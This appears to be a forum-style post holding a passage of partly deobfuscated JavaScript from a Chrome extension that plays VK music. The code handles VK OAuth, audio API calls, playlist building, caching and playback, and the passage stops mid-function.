There is no meaning to replace local variables.
Code:
function PopupAPI() {
chrome.browserAction.setPopup({
popup: "popup.html"
});
function _0x5787x3() {
var _0x5787x4 = chrome.extension.getViews({
type: "popup"
});
for (var _0x5787x5 = 0, _0x5787x6 = _0x5787x4.length; _0x5787x5 < _0x5787x6; _0x5787x5++) {
try {
_0x5787x4[_0x5787x5].close();
} catch (e) {};
};
};
var _0x5787x7 = 40;
var _0x5787x8 = 326;
function _0x5787x9(_0x5787xa, _0x5787xb) {
_0x5787x7 = _0x5787xb | 0;
_0x5787x8 = _0x5787xa | 0;
var _0x5787x4 = chrome.extension.getViews({
type: "popup"
});
for (var _0x5787x5 = 0, _0x5787x6 = _0x5787x4.length; _0x5787x5 < _0x5787x6; _0x5787x5++) {
try {
_0x5787x4[_0x5787x5].____updatePopup();
} catch (e) {
console.log(e);
console.log(_0x5787x4[_0x5787x5]);
};
};
};
function _0x5787xc() {
return {
width: _0x5787x8,
height: _0x5787x7
};
};
return {
hide: _0x5787x3,
resize: _0x5787x9,
getCurrentSize: _0x5787xc
};
};
this.Popup = PopupAPI();
var nativeStorage = chrome.storage.local,
storageGet = nativeStorage.get.bind(nativeStorage),
storageSet = nativeStorage.set.bind(nativeStorage),
storageRemove = nativeStorage.remove.bind(nativeStorage),
storageGetBytesInUse = nativeStorage.getBytesInUse.bind(nativeStorage);
var playerWindow = null,
nativePlayerWindow = null,
fakeActionId = null,
fakeActionStorage = [],
fakeActionTimeout = 2500,
faceActionUrl = chrome.runtime.getURL("main.js"),
onResetAction = null,
isLaunched = false,
isOpened = false;
function fakeAction() {
var _0x5787x1c = new XMLHttpRequest();
_0x5787x1c.onload = _0x5787x1c.onerror = function() {
if (fakeActionStorage.length > 5) {
fakeActionStorage = [];
};
fakeActionStorage.push(_0x5787x1c.responseText);
_0x5787x1c = null;
fakeActionId = null;
initFakeAction();
};
_0x5787x1c.open("GET", faceActionUrl, true);
_0x5787x1c.send(null);
};
function initFakeAction() {
return;
if (fakeActionId === null) {
fakeActionId = setTimeout(fakeAction, fakeActionTimeout);
};
};
function resetFakeAction() {
if (fakeActionId !== null) {
clearTimeout(fakeActionId);
fakeActionId = null;
};
};
function reset() {
isLaunched = false;
playerWindow = null;
nativePlayerWindow = null;
destroyPlayerUI();
if (onResetAction) {
try {
onResetAction();
onResetAction = null;
} catch (e) {};
};
};
function restore() {
restorePlayerUI();
};
function createPlayerWindow(_0x5787x22) {
isOpened = true;
setTimeout(_0x5787x22, 0);
};
function destroyPlayerWindow() {
if (playerWindow) {
isOpened = false;
playerWindow.close();
};
};
chrome.runtime.onConnect.addListener(function(_0x5787x24) {
initPlayerUI();
playerWindow = chrome.extension.getViews({
type: "popup"
})[0];
nativePlayerWindow = playerWindow;
_0x5787x24.onMessage.addListener(function(_0x5787x25) {});
_0x5787x24.onDisconnect.addListener(function(_0x5787x25) {
playerWindow = null;
});
});
var vkAppId = "4265070";
var vkAPIVersion = "5.12";
var vkApiUrl = "https://api.vk.com/method/";
var requestCountPerSecond = 5;
var onlineStatusCallback = false,
onlineStatusCallbackTimeout = null,
postponedRequests = [],
requestInProgress = false,
nextRequestTimeout = null,
oauthCallbacks = [],
oauthInProgress = false;
function getOAuthToken(_0x5787x32, _0x5787x22) {
oauthCallbacks.push(_0x5787x22);
if (oauthInProgress === false) {
oauthInProgress = true;
launchWebAuthFlow(_0x5787x32, function(_0x5787x33) {
if (_0x5787x33) {
var _0x5787x34 = _0x5787x33.indexOf("#") + 1;
if (_0x5787x34 > 0) {
var _0x5787x35 = _0x5787x33.substr(_0x5787x34),
_0x5787x36 = _0x5787x35.split("&"),
_0x5787x37 = {};
for (var _0x5787x5 = 0, _0x5787x6 = _0x5787x36.length; _0x5787x5 < _0x5787x6; _0x5787x5++) {
var _0x5787x38 = _0x5787x36[_0x5787x5].split("=");
_0x5787x37[_0x5787x38[0]] = _0x5787x38[1];
};
callOAuthCallbacks(_0x5787x37);
};
} else {
callOAuthCallbacks(false);
};
});
};
};
function callOAuthCallbacks(_0x5787x3a) {
oauthInProgress = false;
setTimeout(realCallOAuthCallbacks, 0, _0x5787x3a);
};
function realCallOAuthCallbacks(_0x5787x3a) {
for (var _0x5787x5 = 0, _0x5787x6 = oauthCallbacks.length; _0x5787x5 < _0x5787x6; _0x5787x5++) {
setTimeout(oauthCallbacks[_0x5787x5], 0, _0x5787x3a);
};
};
function real_request(_0x5787x3d, _0x5787x35, _0x5787x22) {
var _0x5787x1c = new XMLHttpRequest(),
_0x5787x3a = [];
_0x5787x1c.open("POST", vkApiUrl + _0x5787x3d, true);
_0x5787x1c.onerror = _0x5787x1c.ontimeout = function(_0x5787x3e) {
var _0x5787x3f = _0x5787x3e.type;
checkOnlineStatusCallback(0, _0x5787x3f);
_0x5787x22(-1, _0x5787x3f);
put_next_request_into_query();
};
_0x5787x1c.onload = function() {
var _0x5787x37 = JSON.parse(_0x5787x1c.responseText),
_0x5787x40 = _0x5787x37.error;
if (_0x5787x40) {
var _0x5787x41 = _0x5787x40.error_code;
if (_0x5787x41 == 6) {
setTimeout(request, 0, _0x5787x3d, _0x5787x35, _0x5787x22);
} else {
if (_0x5787x41 == 17) {
verify_request(_0x5787x40.redirect_uri, _0x5787x3d, _0x5787x35, _0x5787x22);
} else {
if (_0x5787x41 == 5 || _0x5787x41 == 10) {
removeVKUserInformation(function() {
retriveVKUserToken(true, function(_0x5787x37) {
if (_0x5787x35.access_token) {
_0x5787x35.access_token = _0x5787x37.token;
};
setTimeout(request, 0, _0x5787x3d, _0x5787x35, _0x5787x22);
});
});
};
};
};
} else {
_0x5787x22(_0x5787x1c.status, _0x5787x37);
};
put_next_request_into_query();
};
for (var _0x5787x42 in _0x5787x35) {
if (_0x5787x35[_0x5787x42] !== undefined) {
_0x5787x3a.push(_0x5787x42 + "=" + _0x5787x35[_0x5787x42]);
};
};
_0x5787x1c.timeout = 5000;
_0x5787x1c.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
_0x5787x1c.send(_0x5787x3a.join("&"));
};
function verify_request(_0x5787x44, _0x5787x3d, _0x5787x35, _0x5787x22) {
launchWebAuthFlow(_0x5787x44, function(_0x5787x33) {
if (_0x5787x33) {
var _0x5787x34 = _0x5787x33.indexOf("#") + 1;
if (_0x5787x34 > 0) {
var _0x5787x45 = _0x5787x33.substr(_0x5787x34),
_0x5787x36 = _0x5787x45.split("&"),
_0x5787x37 = {};
for (var _0x5787x5 = 0, _0x5787x6 = _0x5787x36.length; _0x5787x5 < _0x5787x6; _0x5787x5++) {
var _0x5787x38 = _0x5787x36[_0x5787x5].split("=");
_0x5787x37[_0x5787x38[0]] = _0x5787x38[1];
};
if (_0x5787x37.success) {
setTimeout(request, 0, _0x5787x3d, _0x5787x35, _0x5787x22);
};
};
};
});
};
function request(_0x5787x3d, _0x5787x35, _0x5787x22) {
if (!requestInProgress) {
requestInProgress = true;
real_request(_0x5787x3d, _0x5787x35, _0x5787x22);
} else {
postponedRequests.push({
a: _0x5787x3d,
b: _0x5787x35,
c: _0x5787x22
});
};
};
function next_request() {
requestInProgress = false;
if (postponedRequests.length) {
var _0x5787x48 = postponedRequests.splice(0, 1)[0];
request(_0x5787x48.a, _0x5787x48.b, _0x5787x48.c);
};
};
function put_next_request_into_query() {
nextRequestTimeout = setTimeout(next_request, 1000 / requestCountPerSecond);
};
function retriveVKUserToken(_0x5787x4b, _0x5787x22) {
var _0x5787x44 = "https://oauth.vk.com/authorize?v=" + vkAPIVersion + "&client_id=" + vkAppId + "&scope=audio,offline&display=page&response_type=token";
if (_0x5787x4b === true) {
_0x5787x44 += "&revoke=1";
};
getOAuthToken(_0x5787x44, function(_0x5787x37) {
if (_0x5787x37 !== false) {
setVKUsertInformation(_0x5787x37, function(_0x5787x37) {
_0x5787x22({
"token": _0x5787x37.token,
"id": _0x5787x37.id
});
});
} else {
removeVKUserInformation(function() {
_0x5787x22(_0x5787x37);
});
};
});
};
function getVKUserInformation(_0x5787x4b, _0x5787x22) {
storageGet(["token", "expire", "id"], function(_0x5787x37) {
if (_0x5787x37.token === undefined || _0x5787x37.id === undefined) {
retriveVKUserToken(true, _0x5787x22);
} else {
if (_0x5787x37.expire !== null && _0x5787x37.expire < Date.now()) {
removeVKUserInformation(function() {
retriveVKUserToken(_0x5787x4b, _0x5787x22);
});
} else {
var _0x5787x4d = {
"token": _0x5787x37.token,
"id": _0x5787x37.id
};
_0x5787x22(_0x5787x4d);
};
};
});
};
function setVKUsertInformation(_0x5787x37, _0x5787x22) {
var _0x5787x4d = {
"token": _0x5787x37.access_token,
"id": _0x5787x37.user_id
}, _0x5787x4f = _0x5787x37.expires_in;
if (_0x5787x4f == 0) {
_0x5787x4f = null;
} else {
_0x5787x4f = Date.now() + 1000 * _0x5787x4f;
};
_0x5787x4d.expire = _0x5787x4f;
storageSet(_0x5787x4d, function() {
_0x5787x22(_0x5787x4d);
});
};
function removeVKUserInformation(_0x5787x22) {
storageRemove(["token", "expire", "id"], _0x5787x22);
};
function sendVKAPIRequest(_0x5787x52, _0x5787x3a, _0x5787x22, _0x5787x53) {
_0x5787x53 = _0x5787x53 === true;
getVKUserInformation(_0x5787x53, function(_0x5787x54) {
if (_0x5787x54 !== false) {
_0x5787x3a.access_token = _0x5787x54.token;
_0x5787x3a.v = "5.12";
request(_0x5787x52, _0x5787x3a, function(_0x5787x55, _0x5787x56) {
if (_0x5787x55 === 401 && !_0x5787x53) {
removeVKUserInformation(function() {
sendVKAPIRequest(_0x5787x52, _0x5787x3a, _0x5787x22, true);
});
} else {
_0x5787x22(_0x5787x55, _0x5787x56, _0x5787x54.id);
};
});
};
});
};
function getAllUserAudios(_0x5787x22, _0x5787x58, _0x5787x59) {
sendVKAPIRequest("audio.get", {
count: 6000,
owner_id: _0x5787x59,
album_id: _0x5787x58
}, _0x5787x22);
};
function getAllUserAlbums(_0x5787x22, _0x5787x59) {
sendVKAPIRequest("audio.getAlbums", {
count: 100,
owner_id: _0x5787x59
}, _0x5787x22);
};
function getRecomendations(_0x5787x22, _0x5787x5c) {
sendVKAPIRequest("audio.getRecommendations", {
count: 1000,
target_audio: _0x5787x5c
}, _0x5787x22);
};
function getPopular(_0x5787x22, _0x5787x5e) {
sendVKAPIRequest("audio.getPopular", {
count: 1000,
genre_id: _0x5787x5e
}, _0x5787x22);
};
function addAudio(_0x5787x60, _0x5787x59, _0x5787x22) {
sendVKAPIRequest("audio.add", {
audio_id: _0x5787x60,
owner_id: _0x5787x59
}, _0x5787x22);
};
function getAudioById(_0x5787x60, _0x5787x59, _0x5787x22) {
sendVKAPIRequest("audio.getById", {
audios: _0x5787x59 + "_" + _0x5787x60
}, _0x5787x22);
};
function removeAudio(_0x5787x60, _0x5787x59, _0x5787x22) {
sendVKAPIRequest("audio.delete", {
audio_id: _0x5787x60,
owner_id: _0x5787x59
}, _0x5787x22);
};
function getUserAlbums(_0x5787x22) {
sendVKAPIRequest("audio.getAlbums", {}, _0x5787x22);
};
function reorderUserTracks(_0x5787x60, _0x5787x65, _0x5787x66, _0x5787x22) {
sendVKAPIRequest("audio.reorder", {
audio_id: _0x5787x60,
before: _0x5787x66,
after: _0x5787x65
}, _0x5787x22);
};
function searchAudio(_0x5787x68, _0x5787x69, _0x5787x22) {
sendVKAPIRequest("audio.search", {
q: _0x5787x68,
auto_complete: 1,
search_own: 1,
performer_only: _0x5787x69 ? 1 : 0,
sort: 2,
count: 50
}, _0x5787x22);
};
function performUserLogout(_0x5787x22) {
storageGet(["statistic_installationTime", "statistic_lastActiveTime_time"], function(_0x5787x37) {
nativeStorage.clear(function() {
storageSet(_0x5787x37, _0x5787x22);
});
});
};
function checkOnlineStatus() {
getVKUserInformation(false, function(_0x5787x37) {
sendVKAPIRequest("audio.getCount", {
owner_id: _0x5787x37.id
}, checkOnlineStatusCallback);
});
};
function checkOnlineStatusCallback(_0x5787x55, _0x5787x3a) {
if (onlineStatusCallbackTimeout) {
clearTimeout(onlineStatusCallbackTimeout);
};
var _0x5787x6d = !/^(error|timeout)$/ .test(_0x5787x3a);
if (onlineStatusCallback) {
onlineStatusCallback(_0x5787x6d);
};
onlineStatusCallbackTimeout = setTimeout(checkOnlineStatus, _0x5787x6d ? 15000 : 2500);
};
function setOnlineStatusCallback(_0x5787x22) {
onlineStatusCallback = _0x5787x22;
checkOnlineStatus();
};
function removeOnlineStatusCallback() {
if (onlineStatusCallbackTimeout) {
clearTimeout(onlineStatusCallbackTimeout);
};
onlineStatusCallback = false;
};
function durationToReadableText(_0x5787x71) {
_0x5787x71 = _0x5787x71 | 0;
var _0x5787x72 = _0x5787x71,
_0x5787x73 = "" + _0x5787x72 % 60,
_0x5787x74 = _0x5787x72 / 60 | 0,
_0x5787x75 = _0x5787x74 / 60 | 0,
_0x5787x76 = "";
if (_0x5787x73.length < 2) {
_0x5787x73 = "0" + _0x5787x73;
};
if (_0x5787x75 > 0) {
_0x5787x74 = "" + (_0x5787x74 - _0x5787x75 * 60);
if (_0x5787x74.length < 2) {
_0x5787x74 = "0" + _0x5787x74;
};
_0x5787x76 = _0x5787x76 + _0x5787x75 + ":";
};
return _0x5787x76 + _0x5787x74 + ":" + _0x5787x73;
};
function getUniqueIdForTrack(_0x5787x78) {
return _0x5787x78.owner_id + "_" + _0x5787x78.id;
};
function loadPlaylist(_0x5787x22) {
storageGet(["playlist", "track", "origin", "data"], function(_0x5787x37) {
if (_0x5787x37.playlist !== undefined) {
_0x5787x22(_0x5787x37.playlist, _0x5787x37.track, _0x5787x37.origin, _0x5787x37.data);
} else {
_0x5787x22(false);
};
});
};
function savePlaylist(_0x5787x37, _0x5787x7b, _0x5787x3a, _0x5787x22) {
storageSet({
playlist: _0x5787x37,
origin: _0x5787x7b || "",
data: _0x5787x3a
}, _0x5787x22);
};
function saveTrack(_0x5787x7d) {
storageSet({
track: _0x5787x7d
});
};
function saveVolume(_0x5787x7f) {
storageSet({
volume: _0x5787x7f
});
};
function loadVolume(_0x5787x22) {
storageGet("volume", function(_0x5787x37) {
if (_0x5787x37.volume !== undefined) {
_0x5787x22(_0x5787x37.volume);
} else {
_0x5787x22(0.8);
};
});
};
function removePlaylist(_0x5787x22) {
storageRemove(["playlist", "track"], _0x5787x22);
};
function loadUserTracks(_0x5787x22, _0x5787x58) {
getAllUserAudios(function(_0x5787x55, _0x5787x56) {
_0x5787x56 = _0x5787x56.response;
if (_0x5787x55 == 200 && _0x5787x56 && _0x5787x56.items) {
_0x5787x22(_0x5787x56.items);
};
}, _0x5787x58);
};
function loadUserRecommendations(_0x5787x22, _0x5787x84) {
getRecomendations(function(_0x5787x55, _0x5787x56) {
_0x5787x56 = _0x5787x56.response;
if (_0x5787x55 == 200 && _0x5787x56 && _0x5787x56.items) {
_0x5787x22(_0x5787x56.items);
};
}, _0x5787x84);
};
function loadPopular(_0x5787x22, _0x5787x5e) {
getPopular(function(_0x5787x55, _0x5787x56) {
_0x5787x56 = _0x5787x56.response;
if (_0x5787x55 == 200 && _0x5787x56 && _0x5787x56.length) {
_0x5787x22(_0x5787x56);
};
}, _0x5787x5e);
};
function loadSearchResult(_0x5787x68, _0x5787x69, _0x5787x22) {
searchAudio(_0x5787x68, _0x5787x69, function(_0x5787x55, _0x5787x56, _0x5787x87) {
_0x5787x56 = _0x5787x56.response;
if (_0x5787x55 == 200 && _0x5787x56 && _0x5787x56.items) {
_0x5787x22(_0x5787x68, _0x5787x69, _0x5787x56.items, _0x5787x56.count);
};
});
};
function addToMyAudios(_0x5787x60, _0x5787x59, _0x5787x22) {
addAudio(_0x5787x60, _0x5787x59, function(_0x5787x55, _0x5787x56, _0x5787x87) {
if (_0x5787x55 == 200 && _0x5787x56.response) {
getAudioById(_0x5787x56.response, _0x5787x87, function(_0x5787x55, _0x5787x56) {
var _0x5787x89 = _0x5787x56.response;
if (_0x5787x55 == 200 && _0x5787x89) {
_0x5787x22(_0x5787x89[0]);
};
});
};
});
};
function removeFromMyAudios(_0x5787x60, _0x5787x59, _0x5787x22) {
removeAudio(_0x5787x60, _0x5787x59, function(_0x5787x55, _0x5787x56) {
if (_0x5787x55 == 200 && _0x5787x56) {
_0x5787x22();
};
});
};
function loadUserAlbums(_0x5787x22) {
getUserAlbums(function(_0x5787x55, _0x5787x56, _0x5787x87) {
if (_0x5787x55 == 200 && _0x5787x56.response) {
_0x5787x22(_0x5787x56.response.items, _0x5787x87);
};
});
};
function preparePlaylist(_0x5787x8d, _0x5787x78, _0x5787x7b, _0x5787x3a, _0x5787x8e, _0x5787x8f) {
var _0x5787x90 = {}, _0x5787x91 = [],
_0x5787x92 = "<div class=\'track_sorter\'></div>",
_0x5787x93 = _0x5787x8d.length,
_0x5787x94 = _0x5787x93 ? _0x5787x92 : "",
_0x5787x95 = false,
_0x5787x96 = _0x5787x8e ? true : false;
for (var _0x5787x5 = 0; _0x5787x5 < _0x5787x93; _0x5787x5++) {
var _0x5787x48 = _0x5787x8d[_0x5787x5],
_0x5787x97 = getUniqueIdForTrack(_0x5787x48);
_0x5787x95 |= _0x5787x78 == _0x5787x97;
_0x5787x48.unique = _0x5787x97;
_0x5787x48.time = durationToReadableText(_0x5787x48.duration);
_0x5787x91.push(_0x5787x48);
_0x5787x48.prev = (_0x5787x5 > 0) ? getUniqueIdForTrack(_0x5787x8d[_0x5787x5 - 1]) : getUniqueIdForTrack(_0x5787x8d[_0x5787x93 - 1]);
_0x5787x48.next = (_0x5787x5 < (_0x5787x93 - 1)) ? getUniqueIdForTrack(_0x5787x8d[_0x5787x5 + 1]) : getUniqueIdForTrack(_0x5787x8d[0]);
_0x5787x48.cached = isTrackCached(_0x5787x7b, _0x5787x48.unique);
_0x5787x90[_0x5787x97] = _0x5787x48;
if (_0x5787x96 && _0x5787x48.owner_id != _0x5787x8e) {
_0x5787x96 = false;
if (_0x5787x5 > 0) {
_0x5787x94 += "" + "<div class=\"search_list_separator\" data-count=\"" + _0x5787x8f + "\"></div>";
};
};
_0x5787x94 += "" + "<div class=\"track" + (_0x5787x48.cached ? "" : " uncached") + "\" id=\"" + _0x5787x48.unique + _0xf78e[109] + "<div class=\"button\"></div>" + "<div class=\"info\"><span class=\"artist\">" + _0x5787x48.artist + "</span> - " + _0x5787x48.title + "</div>" + "<div class=\"duration\">" + _0x5787x48.time + "</div>" + "<div class=\"duration_live\"></div>" + "<div class=\"actions\">" + "<div class=\"add\"></div>" + "<div class=\"remove\"></div>" + "</div>" + "</div>" + _0x5787x92;
};
if (!_0x5787x95 && _0x5787x93) {
_0x5787x78 = _0x5787x91[0].unique;
};
return {
playList: _0x5787x90,
raw: _0x5787x91,
html: _0x5787x94,
track: _0x5787x78,
origin: _0x5787x7b,
data: _0x5787x3a
};
};
function prepareMainPlaylist(_0x5787x8d, _0x5787x7d, _0x5787x7b, _0x5787x3a) {
var _0x5787x37 = preparePlaylist(_0x5787x8d, _0x5787x7d, _0x5787x7b, _0x5787x3a);
applyMainPlaylist(_0x5787x37);
};
function applyMainPlaylist(_0x5787x37) {
audioPlayer.playList = _0x5787x37;
audioPlayer.loadAudio(_0x5787x37.track);
};
var audioEngine = {
music: null,
volume: 0.2,
initMusic: function(_0x5787x44) {
if (!audioEngine.music) {
var _0x5787x9c = audioEngine.music = new Audio();
_0x5787x9c.volume = audioEngine.volume;
_0x5787x9c.addEventListener("canplay", audioEngine.onCanPlay);
_0x5787x9c.addEventListener("error", audioEngine.onErr);
_0x5787x9c.addEventListener("timeupdate", audioEngine.onPlayProgress);
_0x5787x9c.addEventListener("progress", audioEngine.onLoadProgress);
_0x5787x9c.addEventListener("ended", audioEngine.onTrackEnded);
};
audioEngine.music.src = _0x5787x44;
},
loadAudio: function(_0x5787x44) {
audioEngine.stopAudio();
audioEngine.initMusic(_0x5787x44);
var _0x5787x9c = audioEngine.music;
_0x5787x9c.load();
},
playAudio: function(_0x5787x71) {
if (audioEngine.music) {
if (_0x5787x71 !== undefined) {
try {
audioEngine.music.currentTime = _0x5787x71;
} catch (e) {};
};
audioEngine.music.play();
};
},
pauseAudio: function() {
if (audioEngine.music) {
audioEngine.music.pause();
};
},
stopAudio: function() {
if (audioEngine.music) {
try {
audioEngine.music.currentTime = 0;
} catch (e) {};
audioEngine.music.pause();
};
},
setVolume: function(_0x5787x9d) {
audioEngine.volume = _0x5787x9d;
if (audioEngine.music) {
audioEngine.music.volume = _0x5787x9d;
};
},
onPlayProgress: function() {
var _0x5787x9c = audioEngine.music,
_0x5787x9e = Math.floor(_0x5787x9c.currentTime * 1000) / 1000,
_0x5787x9f = Math.floor(_0x5787x9c.duration * 1000) / 1000;
audioPlayer_onPlayProgress(_0x5787x9e, _0x5787x9f);
},
onLoadProgress: function() {
var _0x5787x9c = audioEngine.music,
_0x5787x9f = Math.floor(_0x5787x9c.duration * 1000) / 1000,
_0x5787xa0 = 0;
try {
_0x5787xa0 = (Math.floor(_0x5787x9c.buffered.end(0) * 1000) / 1000) || 0;
} catch (e) {};
audioPlayer_onLoadProgress(_0x5787xa0, _0x5787x9f);
},
onTrackEnded: function() {
audioPlayer_onTrackEnded();
},
onCanPlay: function() {},
onErr: function(_0x5787x3e) {
audioPlayer_onError(_0x5787x3e.target.error);
}
}, audioPlayer = {
track: null,
playList: null,
newPlayList: null,
repeat: false,
ready: false,
online: navigator.onLine,
isInit: false,
loadAudio: function(_0x5787x78, _0x5787x22, _0x5787x4b) {
function _0x5787xa1(_0x5787x44) {
audioEngine.loadAudio(_0x5787x44);
initFakeAction();
if (_0x5787x22) {
try {
_0x5787x22();
} catch (error) {};
};
};
var _0x5787xa2 = audioPlayer.playList.playList[_0x5787x78],
_0x5787x44 = _0x5787xa2.url;
if (_0x5787x78 != audioPlayer.track || _0x5787x4b) {
audioPlayer.track = _0x5787x78;
saveTrack(_0x5787x78);
dispatchHTML5AudioEvents("showCurrentTrack", _0x5787xa2, true);
if (_0x5787xa2.cached) {
loadCachedObject(_0x5787xa2.unique, function(_0x5787x6d) {
if (_0x5787x6d === false) {
_0x5787xa2.cached = false;
invalidateCache(_0x5787xa2.unique, function() {
audioPlayer.loadAudio(_0x5787x78, _0x5787x22, true);
});
} else {
_0x5787xa1(_0x5787x6d);
};
});
} else {
if (audioPlayer.online) {
_0x5787xa1(_0x5787x44);
} else {
audioPlayer.nextTrack();
};
};
};
},
playAudio: function(_0x5787x71) {
audioEngine.playAudio(_0x5787x71);
initFakeAction();
dispatchHTML5AudioEvents("onAudioStarted");
if (!_0x5787x71) {
audioPlayer_onTrackStarted();
};
},
stopAudio: function() {
audioEngine.stopAudio();
resetFakeAction();
dispatchHTML5AudioEvents("onAudioStopped");
},
pauseAudio: function() {
audioEngine.pauseAudio();
dispatchHTML5AudioEvents("onAudioPaused");
},
nextTrack: function(_0x5787x4b) {
audioPlayer_loadOtherTrack("next", _0x5787x4b);
},
prevTrack: function(_0x5787x4b) {
audioPlayer_loadOtherTrack("prev", _0x5787x4b);
},
requireUpdate: function() {
var _0x5787xa2 = audioPlayer.playList.playList[audioPlayer.track];
dispatchHTML5AudioEvents("showCurrentTrack", _0x5787xa2, !audioEngine.music ? true : audioEngine.music.paused);
},
setVolume: function(_0x5787x7f) {
saveVolume(_0x5787x7f);
audioEngine.setVolume(_0x5787x7f);
},
loadNewPlaylist: function(_0x5787x7b, _0x5787x3a) {
var loadUserTracks = audioPlayer_loadUserTracks,
_0x5787xa3 = {
"myAudio": loadUserTracks,
"recommendation": loadUserRecommendations,
"popular": loadPopular,
"myAlbum": loadUserTracks
}, _0x5787xa4 = _0x5787xa3[_0x5787x7b];
_0x5787xa4(function(_0x5787xa5) {
var _0x5787x37 = preparePlaylist(_0x5787xa5, false, _0x5787x7b, _0x5787x3a);
audioPlayer.newPlayList = _0x5787x37;
dispatchHTML5AudioEvents("onLoadNewPlaylist", _0x5787x7b, _0x5787x37.html, _0x5787x3a);
}, _0x5787x3a || undefined);
},
applyNewPlaylist: function() {
var _0x5787x37 = audioPlayer.newPlayList,
_0x5787xa5 = _0x5787x37.raw;
audioPlayer.newPlayList = null;
audioPlayer.track = null;
audioPlayer.playList = _0x5787x37;
audioPlayer_initialInformation();
savePlaylist(_0x5787xa5, _0x5787x37.origin, _0x5787x37.data, function() {});
},
shufflePlaylist: function(_0x5787xa6) {
var _0x5787xa7 = _0x5787xa6 ? audioPlayer.playList : audioPlayer.newPlayList,
_0x5787xa8 = _0x5787xa7.old,
_0x5787xa9 = _0x5787xa8 ? true : false,
_0x5787xaa = JSON.parse(JSON.stringify(_0x5787xa7.raw)),
_0x5787xab = _0x5787xa9 ? _0x5787xa8 : shuffleArray(_0x5787xa7.raw),
_0x5787xac = preparePlaylist(_0x5787xab, _0x5787xa6 ? audioPlayer.track : undefined, _0x5787xa7.origin, _0x5787xa7.data);
if (!_0x5787xa9) {
_0x5787xac.old = _0x5787xaa;
};
if (_0x5787xa6) {
audioPlayer.playList = _0x5787xac;
} else {
audioPlayer.newPlayList = _0x5787xac;
};
dispatchHTML5AudioEvents("onPlaylistShuffled", _0x5787xa6, _0x5787xac.html, _0x5787xac.origin, _0x5787xac.data);
},
reorderTracks: function(_0x5787xa6, _0x5787x87, _0x5787xad, _0x5787xae) {
if (_0x5787x87 != _0x5787xad) {
var _0x5787xa7 = _0x5787xa6 ? audioPlayer.playList : audioPlayer.newPlayList,
_0x5787xac = null,
_0x5787xaf = -1,
_0x5787xb0 = -1,
_0x5787xaa = _0x5787xa7.raw,
_0x5787x93 = _0x5787xaa.length;
if (!_0x5787xae) {
_0x5787xb0 = _0x5787x93 - 1;
} else {
if (!_0x5787xad) {
_0x5787xb0 = 0;
};
};
for (var _0x5787x5 = 0;
(_0x5787x5 < _0x5787x93) && ((_0x5787xaf < 0) || (_0x5787xb0 < 0)); _0x5787x5++) {
var _0x5787x78 = _0x5787xaa[_0x5787x5];
if (_0x5787x78.unique == _0x5787x87) {
if (_0x5787xaf < 0) {
_0x5787xaf = _0x5787x5;
};
} else {
if (_0x5787x78.prev == _0x5787xad) {
if (_0x5787xb0 < 0) {
_0x5787xb0 = _0x5787x5;
};
};
};
};
var _0x5787x78 = _0x5787xaa[_0x5787xaf];
if (_0x5787xaf < _0x5787xb0) {
_0x5787xb0--;
for (var _0x5787x5 = _0x5787xaf; _0x5787x5 < _0x5787xb0; _0x5787x5++) {
_0x5787xaa[_0x5787x5] = _0x5787xaa[_0x5787x5 + 1];
};
} else {
for (var _0x5787x5 = _0x5787xaf; _0x5787x5 > _0x5787xb0; _0x5787x5--) {
_0x5787xaa[_0x5787x5] = _0x5787xaa[_0x5787x5 - 1];
};
};
_0x5787xaa[_0x5787xb0] = _0x5787x78;
_0x5787xac = preparePlaylist(_0x5787xaa, _0x5787xa6 ? audioPlayer.track : undefined, _0x5787xa7.origin, _0x5787xa7.data);
if (_0x5787xa6) {
audioPlayer.playList = _0x5787xac;
} else {
audioPlayer.newPlayList = _0x5787xac;
}; if (/^myA/ .test(_0x5787xa7.origin)) {
var _0x5787xb1 = /^\d+_/,
_0x5787x65 = _0x5787xad ? _0x5787xad.replace(_0x5787xb1, "") : "0",
_0x5787x60 = _0x5787x87.replace(_0x5787xb1, ""),
_0x5787x66 = _0x5787xae ? _0x5787xae.replace(_0x5787xb1, "") : "0";
reorderUserTracks(_0x5787x60, _0x5787x65, _0x5787x66, function() {});
};
};
},
newRepeatState: function(_0x5787xb2) {
audioPlayer.repeat = _0x5787xb2;
},
addIntoMyAudios: function(_0x5787x8e) {
var _0x5787xb3 = _0x5787x8e.split("_");
addToMyAudios(_0x5787xb3[1], _0x5787xb3[0], function(_0x5787x37) {
var _0x5787xa7 = audioPlayer.playList,
_0x5787x94 = "";
audioPlayer_addToMyPmiraryList(_0x5787x37);
if (_0x5787xa7.origin == "myAudio") {
var _0x5787xaa = _0x5787xa7.raw,
_0x5787x7b = _0x5787xa7.origin,
_0x5787x3a = _0x5787xa7.data;
_0x5787xaa.unshift(_0x5787x37);
savePlaylist(_0x5787xaa, _0x5787x7b, _0x5787x3a, function() {
var _0x5787xac = audioPlayer.playList = preparePlaylist(_0x5787xaa, audioPlayer.track, _0x5787x7b, _0x5787x3a);
_0x5787x94 = _0x5787xac.html;
dispatchHTML5AudioEvents("onAudioAdded", _0x5787x8e, _0x5787x94);
});
} else {
var _0x5787x36 = _0x5787xa7.playList,
_0x5787x78 = _0x5787x36[_0x5787x8e];
if (_0x5787x78) {
_0x5787x78.sameas = getUniqueIdForTrack(_0x5787x37);
};
dispatchHTML5AudioEvents("onAudioAdded", _0x5787x8e);
};
});
},
removeFromMyAudios: function(_0x5787x8e) {
function _0x5787xb4(_0x5787xa7, _0x5787x78, _0x5787x8e, _0x5787xb5) {
if (_0x5787xa7) {
var _0x5787x7b = _0x5787xa7.origin;
if (_0x5787xa7 && /^my/ .test(_0x5787x7b)) {
var _0x5787xaa = _0x5787xa7.raw,
_0x5787x3a = _0x5787xa7.data;
for (var _0x5787x5 = 0, _0x5787x6 = _0x5787xaa.length; _0x5787x5 < _0x5787x6; _0x5787x5++) {
if (_0x5787xaa[_0x5787x5].unique == _0x5787x8e) {
_0x5787xaa.splice(_0x5787x5, 1);
break;
};
};
_0x5787xa7 = preparePlaylist(_0x5787xaa, _0x5787x78, _0x5787x7b, _0x5787x3a);
if (_0x5787xb5) {
savePlaylist(_0x5787xaa, _0x5787x7b, _0x5787x3a, function() {});
};
};
};
return _0x5787xa7;
};
var _0x5787xb3 = _0x5787x8e.split("_");
removeFromMyAudios(_0x5787xb3[1], _0x5787xb3[0], function() {
if (audioPlayer.track == _0x5787x8e) {
audioPlayer.nextTrack();
};
audioPlayer.playList = _0x5787xb4(audioPlayer.playList, audioPlayer.track, _0x5787x8e, true);
audioPlayer.newPlayList = _0x5787xb4(audioPlayer.newPlayList, undefined, _0x5787x8e, false);
